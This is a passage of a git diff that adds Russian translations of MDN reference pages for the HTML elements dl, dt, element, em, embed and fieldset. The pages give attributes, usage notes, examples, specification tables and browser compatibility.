+    &lt;dt&gt;Birthplace&lt;/dt&gt;
+    &lt;dd&gt;Japan&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Color&lt;/dt&gt;
+    &lt;dd&gt;Green&lt;/dd&gt;
+  &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Не используйте данный элемент (как и элемент {{HTMLElement("ul")}}) просто для создания отступов на странице. Не смотря на то, что это работает, — это является плохой практикой и подменяет семантическое значение списка определений.</p>
+
+<p>Чтобы изменить отступ определений терминов, воспользуйтесь <a href="/ru/docs/Web/CSS" title="CSS">CSS</a>-свойством {{cssxref("margin")}}.</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Каждый скринридер произносит содержимое элемента <code>&lt;dl&gt;</code> по-разному. Некоторые скринридеры, такие как VoiceOver на iOS, не будут озвучивать, что содержимое <code>&lt;dl&gt;</code> это список. В связи с этим, убедитеcь, что содержимое каждого элемента списка написано таким образом, что оно сообщает о своём отношенении с другими элементами списка в списке группы.</p>
+
+<ul>
+ <li><a href="https://s.codepen.io/aardrian/debug/NzGaKP">CodePen - HTML Buddies: dt &amp; dd</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.dl")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("dt")}}</li>
+ <li>Элемент {{HTMLElement("dd")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/dt/index.html b/files/ru/web/html/element/dt/index.html
new file mode 100644
index 0000000000..899aaf9fd9
--- /dev/null
+++ b/files/ru/web/html/element/dt/index.html
@@ -0,0 +1,102 @@
+---
+title: '<dt>: Термин для определения'
+slug: Web/HTML/Element/dt
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+  - dt
+  - Веб
+  - Список определений
+  - Элемент
+  - списки
+translation_of: Web/HTML/Element/dt
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;dt&gt;</code> </strong>который определяет термин в описании или списке определений, как таковой должен использоваться внутри элемента  {{HTMLElement("dl")}} .</span> Обычно за ним следует элемент {{HTMLElement("dd")}}. Кроме того, несколько элементов <code>&lt;dt&gt;</code> идущие друг за другом будут содержать свое определение в следующем идущем за ним элементом{{HTMLElement("dd")}}.</p>
+
+<p>Последующий элемент {{HTMLElement("dd")}} (<em>от англ. Description Details)</em> предоставляет определение или другой связанный текст, относящийся к термину, указанным с помощью <code>&lt;dt&gt;</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dt.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, но без потомков {{HTMLElement("header")}}, {{HTMLElement("footer")}}, секционного контента или заголовочного контента.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Открывающий тег обязателен. Конечный тег может быть опущен, если за этим элементом непосредственно следует другой элемент <code>&lt;dt&gt;</code> или {{HTMLElement("dd")}}, или если в родительском элементе нет больше содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Перед элементом {{HTMLElement("dt")}} или {{HTMLElement("dd")}}, внутри {{HTMLElement("dl")}} или (в <a href="/ru/docs/Glossary/WHATWG">WHATWG</a> HTML) элемента {{HTMLElement("div")}} который внутри {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}} До Gecko 1.9.2 (Firefox 4) включительно, Firefox реализует <a href="/ru/docs/Web/API/HTMLSpanElement"><code>HTMLSpanElement</code></a> интерфейс для этого элемента.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Аттрибуты">Аттрибуты</h2>
+
+<p>Этот элемент включает только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные аттрибуты</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Для примера можно использовать <a href="/ru/docs//Web/HTML/Element/dl#Одиночные_термин_и_определение">образец для <code>&lt;dl&gt;</code> элемента</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.dt")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{HTMLElement("dd")}}, {{HTMLElement("dl")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/element/index.html b/files/ru/web/html/element/element/index.html
new file mode 100644
index 0000000000..183d25eb92
--- /dev/null
+++ b/files/ru/web/html/element/element/index.html
@@ -0,0 +1,112 @@
+---
+title: <element>
+slug: Web/HTML/Element/element
+translation_of: Web/HTML/Element/element
+---
+<p>{{obsolete_header}}</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Этот элемент удален из спецификации. Смотри <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">здесь </a>больше дополнительной информации от редактора спецификации.</p>
+</div>
+
+<h2 id="Summary" name="Summary">Краткая информация</h2>
+
+<p><strong>HTML <code>&lt;element&gt;</code> element</strong> <span id="result_box" lang="ru"><span>используется для определения новых пользовательских элементов DOM</span></span>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Категория контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content">Прозрачный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td>???</td>
+  </tr>
+  <tr>
+   <th scope="row">Недопустимые теги</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные родительские элементы</span></span></th>
+   <td>???</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Текст здесь.</p>
+
+<pre class="brush: html">Больше текста здесь.
+</pre>
+
+<h2 id="Specifications" name="Specifications">Характеристики</h2>
+
+<p><code>Элемент &lt;element&gt;</code> <span id="result_box" lang="ru"><span>ранее был в черновике спецификации</span></span> <a href="http://w3c.github.io/webcomponents/spec/custom/">Настраеваемых Элементов</a>, но был удален.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Web-компоненты: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("template")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/em/index.html b/files/ru/web/html/element/em/index.html
new file mode 100644
index 0000000000..1ceea62afd
--- /dev/null
+++ b/files/ru/web/html/element/em/index.html
@@ -0,0 +1,114 @@
+---
+title: '<em>: Элемент акцентирования'
+slug: Web/HTML/Element/em
+translation_of: Web/HTML/Element/em
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;em&gt;</code> элемент</strong> отмечает акцентируемый текст. Элемент <code>&lt;em&gt;</code> может быть вложенным, причем каждый уровень вложенности указывает на большую степень акцента.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref ("HTMLElement")}} до Gecko 1.9.2 (Firefox 4) включительно Firefox реализует интерфейс {{domxref ("HTMLSpanElement")}} для этого элемента.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Элемент <code>&lt;em&gt;</code> предназначен для слов, которые имеют подчеркнутый акцент по сравнению с окружающим текстом, который часто ограничивается словом или словами предложения и влияет на смысл самого предложения.</p>
+
+<p>Обычно этот элемент отображается курсивом. Однако его не следует использовать просто для применения курсивного стиля; для этой цели используйте свойство CSS {{cssxref("font-style")}}. Используйте элемент {{HTMLElement("cite")}}, чтобы пометить название произведения (книги, пьесы, песни и т. д.). Используйте элемент {{HTMLElement("i")}}, чтобы пометить текст в альтернативном тоне или настроении, который охватывает многие распространенные ситуации курсива, такие как научные имена или слова на других языках. Используйте элемент {{HTMLElement("strong")}}, чтобы пометить текст, который имеет большее значение, чем окружающий текст.</p>
+
+<h3 id="&lt;_i>_против_&lt;em>">&lt; i&gt; против &lt;em&gt;</h3>
+
+<p>Новые разработчики часто путаются, видя несколько элементов, которые дают аналогичные результаты. <code>&lt;em&gt;</code> и <code>&lt;i&gt;</code> являются общим примером, поскольку они оба выделяют текст курсивом. Какая разница? Что вы должны использовать?</p>
+
+<p>По умолчанию визуальный результат тот же. Однако смысловое значение здесь другое. Элемент <code>&lt;em&gt;</code> представляет ударение на его содержании, в то время как элемент <code>&lt;i&gt;</code> представляет текст, который отличается от обычной прозы, например, иностранное слово, изречения вымышленного персонажа или когда текст ссылается на определение слова вместо представления его семантического значения. (Для названия произведения, например названия книги или фильма, следует использовать <code> &lt;cite&gt;</code>.)</p>
+
+<p>Это означает, что правильное использование зависит от ситуации. Ни для чисто декоративных целей, это то, для чего предназначен CSS-стиль.</p>
+
+<p>Примером для <code>&lt;em&gt;</code> может быть: -«Просто <em>сделай</em> это!», или: «Мы <em>должны</em> были что-то с этим сделать». Человек или программа, читающие текст, будут произносить слова, выделенные курсивом, с ударением, используя словесное ударение.</p>
+
+<p>Примером для <code>&lt;i&gt;</code> может быть: <em>«Королева Мэри</em> отплыла прошлой ночью». Здесь нет никакого дополнительного акцента или важности на слове "Королева Мэри". Просто указывается, что речь идет не о королеве по имени Мария, а о корабле по имени <em>Королева Мария</em>. Другим примером для <code>&lt;i&gt;</code> может быть: «Слово <em>‘the’ </em> это артикль».</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Элемент <code>&lt;em&gt;</code> часто используется для указания неявного или явного контраста.</p>
+
+<pre class="brush: html">&lt;p&gt;
+  В HTML 5, что ранее называлось
+  контентом &lt;em&gt;уровня блока&lt;/em&gt; теперь называется
+  контентом &lt;em&gt;потока&lt;/em&gt;.
+&lt;/p&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Пример', '', '', '', 'Web/HTML/Element/em') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+   <td>{{Spec2 ('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+   <td>{{Spec2 ('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;em&gt;')}}</td>
+   <td>{{Spec2 ('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создана из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-запрос.</div>
+
+<p>{{Compat("html.elements.em")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("i")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/embed/index.html b/files/ru/web/html/element/embed/index.html
new file mode 100644
index 0000000000..692f0b8ef6
--- /dev/null
+++ b/files/ru/web/html/element/embed/index.html
@@ -0,0 +1,121 @@
+---
+title: '<embed>: Вложение расширенных элементов'
+slug: Web/HTML/Element/embed
+tags:
+  - HTML
+  - HTML встраиваемый контент
+  - HTML5
+  - Web
+  - embed
+  - Встраиваемый контент
+  - Плагины
+  - Расширенный контент
+  - Ссылка
+  - Элемент
+translation_of: Web/HTML/Element/embed
+---
+<p><strong>HTML-элемент <code>&lt;embed&gt;</code> </strong>вставляет расширенный контент в выбранное место документа. Этот контент может быть представлен от внешнего приложения или другого источника интерактивного контента, такого как плагин для браузера, например. </p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/embed.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>{{Note("Этот раздел посвящен только элементу, который является частью стандарта HTML5, и никак не касается ранних, нестандартизированных его реализаций.")}}</p>
+
+<p>Имейте ввиду, что большинство современных браузеров посчитали устаревшей и удалили поддержку встраивания плагинов, так что использование <code>&lt;embed&gt;</code>, как правило, не рекоменуется, если вы хотите, чтобы ваш сайт одинаково работал у всех его пользователей.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, embedded content, interactive content, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Отсутствует, это {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Должен иметь открывающий тег, закрывающий тег должен быть пропущен</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элеметны</th>
+   <td>Любой элемент, который допускает встроенный контент</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLEmbedElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Атрибуты этого элемента включают все <a href="ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Отображает высоту ресурса в <a href="https://drafts.csswg.org/css-values/#px">CSS пикселях</a>. Это должно быть абсолютное значение; проценты <em>не</em> допустимы.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Ссылка на встраиваемый ресурс.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>MIME-тип, используемый для выбора подключаемого модуля для создания экземпляра.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Отображает ширину ресурса в <a href="https://drafts.csswg.org/css-values/#px">CSS пикселях</a>. Это должно быть абсолютное значение; проценты <em>не</em> допустимы.</dd>
+</dl>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Вы можете использовать свойство {{cssxref("object-position")}}, чтобы настроить расположение встроенного объекта в рамке элемента, а также свойство {{cssxref("object-fit")}}, чтобы контролировать регулирование размер объекта в соответствии с рамкой.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;embed type="video/quicktime" src="movie.mov" width="640" height="480"&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-embed-element', '&lt;embed&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-embed-element', '&lt;embed&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="note">
+<p><strong>Note</strong>: До версии 45, Firefox не отображает сожержимое HTML-ресурса, но сообщает о том, что для отображения контента требуется плагин (см. {{Bug("730768")}}).</p>
+</div>
+
+
+
+<p>{{Compat("html.elements.embed")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы, используемые для встраивания различного рода контента: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.</li>
+ <li>Свойства, для позиционирования и определения размера внедренного контента в его фрейме: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li>
+</ul>
+
+<p>{{ HTMLRef }}</p>
diff --git a/files/ru/web/html/element/fieldset/index.html b/files/ru/web/html/element/fieldset/index.html
new file mode 100644
index 0000000000..37aa4d325c
--- /dev/null
+++ b/files/ru/web/html/element/fieldset/index.html
@@ -0,0 +1,170 @@
+---
+title: '<fieldset>: The Field Set element'
+slug: Web/HTML/Element/fieldset
+translation_of: Web/HTML/Element/fieldset
+---
+<p><strong>HTML-элемент <code>&lt;fieldset&gt;</code></strong> используется для группировки нескольких элементов управления без веб-форм.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Пример выше показывает, как элемент <code>&lt;fieldset&gt;</code> группирует части HTML-формы, а вложенный элемент {{htmlelement("legend")}} даёт заголовок для <code>&lt;fieldset&gt;</code>. Он может иметь несколько атрибутов, самый используемый из них <code>form</code>, который содержит <code>id</code> формы {{htmlelement("form")}} на этой же странице. Этот артибут позволяет сделать <code>&lt;fieldset&gt;</code> частью формы <code>&lt;form&gt;</code> даже если он не находится внутри неё. Также вы можете отключить <code>&lt;fieldset&gt;</code> и всё его содержимое с помощью атрибута <code>disabled</code>.</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/ru/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Если этот логический атрибут установлен, все элементы управления формой, вложенные в <code>&lt;fieldset&gt;</code> будут отключены. Это значит, что их нельзя изменять, но можно отправить через форму <code>&lt;form&gt;</code>, в отличие от атрибута {{htmlattrdef("disabled")}} на элементах управления формой. Они не будут реагировать на браузерные события, такие как клики мышью или события focus. По-умолчанию, браузер отображает такие элементы управления в сером цвете. Обратите внимание, что элементы формы внутри элемента {{HTMLElement("legend")}} не будут отключены.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Этот атрибут принимает значение атрибута <code>id</code> элемента {{HTMLElement("form")}}, с которой вам нужно связать <code>&lt;fieldset&gt;</code>, даже если он находится вне формы.</dd>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Имя, связанное с группой.
+ <div class="note"><strong>Примечание</strong>: Заголовок для &lt;fieldset&gt; устанавливается первым {{HTMLElement("legend")}} внутри него.</div>
+ </dd>
+</dl>
+
+<h2 id="Стилизация_с_CSS">Стилизация с CSS</h2>
+
+<p>Есть несколько особенностей стилизации <code>&lt;fieldset&gt;</code>. </p>
+
+<p>По-умолчанию, значение свойства {{cssxref("display")}} равняется <code>block</code>, что создаёт блочный контекст форматирования. Если установить значение <code>display</code> как inline-элементу <code>&lt;fieldset&gt;</code>, это будет работать как <code>inline-block</code>, в ином случае, это будет работать как <code>block</code>. По-умолчанию, имеется border 2px groobe вокруг содержимого и небольшой внутренний отступ. Элемент имеет <code>min-inline-size: min-content</code> по-умолчанию.</p>
+
+<p>Если задан &lt;legend&gt;, он будет помещён поверх верхней границы. &lt;legend&gt; сжимается и переносится, также имеет свой контекст форматирования. Значение <code>display</code> блочное (например, <code>display: inline</code> работает как <code>block</code>).</p>
+
+<div class="hidden">
+<p>Требуется перевод с четвёртого абзаца и ниже</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_fieldset">Простой fieldset</h3>
+
+<p>Этот пример показывает простой <code>&lt;fieldset&gt;</code> с <code>&lt;legend&gt;</code> и единственным элементом управления внутри.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Simple fieldset&lt;/legend&gt;
+    &lt;input type="radio" id="radio"&gt;
+    &lt;label for="radio"&gt;Spirit of radio&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Простой_fieldset', '100%', '80') }}</p>
+
+<h3 id="Отключенный_fieldset">Отключенный fieldset</h3>
+
+<p>Этот пример показывает отключенный <code>&lt;fieldset&gt;</code> с двумя элементами управления внутри.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset disabled&gt;
+    &lt;legend&gt;Disabled fieldset&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;label for="name"&gt;Name: &lt;/label&gt;
+      &lt;input type="text" id="name" value="Chris"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;label for="pwd"&gt;Archetype: &lt;/label&gt;
+      &lt;input type="password" id="pwd" value="Wookie"&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Отключенный_fieldset', '100%', '110') }}</p>
+
+<h2 id="Техническая_сводка">Техническая сводка</h2>
+
+
+
+<table class="properties" style="font-family: Arial,x-locale-body,sans-serif; font-size: 1rem; letter-spacing: -0.00278rem;">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">корневой раздел</a>, <a href="/en-US/docs/HTML/Content_categories#form_listed">listed</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9A%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82_%D1%84%D0%BE%D1%80%D0%BC">контент форм</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td>Необязательный элемент {{HTMLElement("legend")}}, следующий в основном потоке.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент основного потока</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA roles</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Взаимодействие с DOM </th>
+   <td>{{domxref("HTMLFieldSetElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Определение элемента <code>fieldset</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
